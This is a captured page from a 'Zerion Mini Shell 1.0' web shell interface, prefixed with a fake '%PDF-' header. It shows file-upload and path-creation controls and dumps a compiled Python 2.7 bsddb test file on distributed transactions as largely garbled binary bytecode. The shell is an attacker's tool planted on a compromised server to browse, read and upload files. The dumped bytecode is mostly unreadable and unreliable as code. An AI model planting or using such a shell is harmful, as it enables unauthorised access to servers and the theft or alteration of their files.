%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/bsddb/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyo

ó
Oêáac@s×dZddlZddlZddlmZmZmZmZddlmZdej	fd„ƒYZ
de
fd„ƒYZd	e
fd
„ƒYZde
fd„ƒYZ
d
„ZedkrÓejddƒndS(s(TestCases for distributed transactions.
iÿÿÿÿN(tdbttest_supporttget_new_environment_pathtget_new_database_path(tverbosetDBTxn_distributedcBsPeZdZeZeZd„Zd„Zd„Z	d„Z
d„Zd„ZRS(iÒcCsLtjƒ|_|jj|jƒ|jj|jdƒ|jj|jdƒ|jj|jdƒ|jr‰|jj	tj
tƒn|jj|j
tjtjBtjBtjBtjBtjBtjBdƒtj|jƒ|_|jjtjƒ|rH|jjƒ}|jj|jtjtjtjBdd|ƒ|jƒndS(Nii¶ttxn(RtDBEnvtdbenvt
set_tx_maxtnum_txnstset_lk_max_lockerstset_lk_max_lockstset_lk_max_objectstnosynct	set_flagst
DB_TXN_NOSYNCtTruetopenthomeDirt	DB_CREATEt	DB_THREADt
DB_RECOVERtDB_INIT_TXNtDB_INIT_LOGt
DB_INIT_MPOOLtDB_INIT_LOCKtDBt
set_re_lentDB_GID_SIZEt	txn_begintfilenametDB_QUEUEtcommit(tselftmust_open_dbR((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyt_create_envs$	)cCs%tƒ|_d|_|jdtƒS(NttestR#(RRRR$R(R"((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pytsetUp's	cCsM|jstjƒd dkr/|jjƒn|jjƒ|jjƒdS(Niii(ii(RRtversionRt	log_flushtclose(R"((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyt_destroy_env,s
cCs|jƒtj|jƒdS(N(R*RtrmtreeR(R"((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyttearDown2s
cCs|jƒ|j|ƒdS(N(R*R$(R"R#((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyt
_recreate_env6s
cCsÓtƒ}d„}ddl}|jddkr=d„}nxt|jƒD]n}|jjƒ}dtj}|||ƒ}|jj	||d|dtj
ƒ|j|ƒ|j|ƒqMW~|j
|jƒ|jjƒ}|j|jt|ƒƒx$|D]\}}|j||ƒqW~~|j
|jƒ|jjƒ}|j|jt|ƒƒtƒ}tƒ}	d}
x•|D]\}}|
dks¢|
d	kr¼|	j|ƒ|jƒnE|
d
krÕ|jƒn,|
dkr|jƒ|j|ƒd}
n|
d	7}
q~W~~|j
|jƒ|jjƒ}|jt|ƒt|ƒƒx|D]\}}|jƒqWW~~|j
dtƒ|jjƒ}|jt|ƒdƒ|jt|	ƒ|jjƒdƒdS(
NcSs|S(N((tx((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyt<lambda><tiÿÿÿÿiicSs
t|dƒS(Ntascii(tbytes(R.((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyR/?R0s%%%ddRtflagsiiR#tnkeys(tsettsystversion_infotxrangeR
RRRRtputt	DB_APPENDtaddtprepareR-R#ttxn_recovertassertEqualtlentassertInR!taborttdiscardRtstat(R"ttxnstadaptR6tiRtgidtrecovered_txnstdiscard_txnstcommitted_txnststate((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyttest01_distributed_transactions:sd		
"
		




	(
t__name__t
__module__R
RRtFalseR#R$R&R*R,R-RL(((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyRs					tDBTxn_distributedSYNCcBseZeZRS((RMRNROR(((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyRP€stDBTxn_distributed_must_open_dbcBseZeZRS((RMRNRR#(((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyRQƒst"DBTxn_distributedSYNC_must_open_dbcBseZeZeZRS((RMRNRORRR#(((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyRR†scCs’tjƒ}tjƒdkrM|jtjtƒƒ|jtjtƒƒntjƒdkrŽ|jtjtƒƒ|jtjt	ƒƒn|S(Niii(ii(ii(
tunittestt	TestSuiteRR'taddTestt	makeSuiteRRPRQRR(tsuite((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyt
test_suiteŒst__main__tdefaultTestRX(t__doc__tosRSttest_allRRRRRtTestCaseRRPRQRRRXRMtmain(((sD/usr/local/lib/python2.7/bsddb/test/test_distributed_transactions.pyt<module>s"r	

Zerion Mini Shell 1.0